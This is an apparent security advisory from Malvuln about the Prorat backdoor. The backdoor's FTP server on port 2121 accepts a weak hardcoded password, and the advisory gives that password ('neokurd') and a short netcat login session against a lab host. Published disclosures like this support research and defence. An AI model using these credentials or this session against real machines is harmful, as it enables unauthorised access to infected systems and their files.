Backdoor.Win32.Prorat.ntz malware suffers from having a weak hardcoded password.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ab96d7f9e008a0774239be6be0c8e7bb_B.txt
Contact: [email protected]
Vulnerability: Weak Hardcoded Password
Description: The malware runs an FTP server on TCP port 2121. The authors handle "NeoKurD" displayed in the FTP banner response is reused as the password, just in lowercase. Moreover, the executable is packed with UPX and exposes the cleartext credentials when decompressed.
Vuln ID: MVID-2021-0382
Dropped files: dxdiag.exe
nc64.exe 192.168.18.125 2121
220 Undetected by NeoKurD
331 Password required for neokurd.
230 User neokurd logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,18,125,194,47).
250 CWD command successful. "C:/" is current directory.
150 Opening data connection for DOOM.exe.
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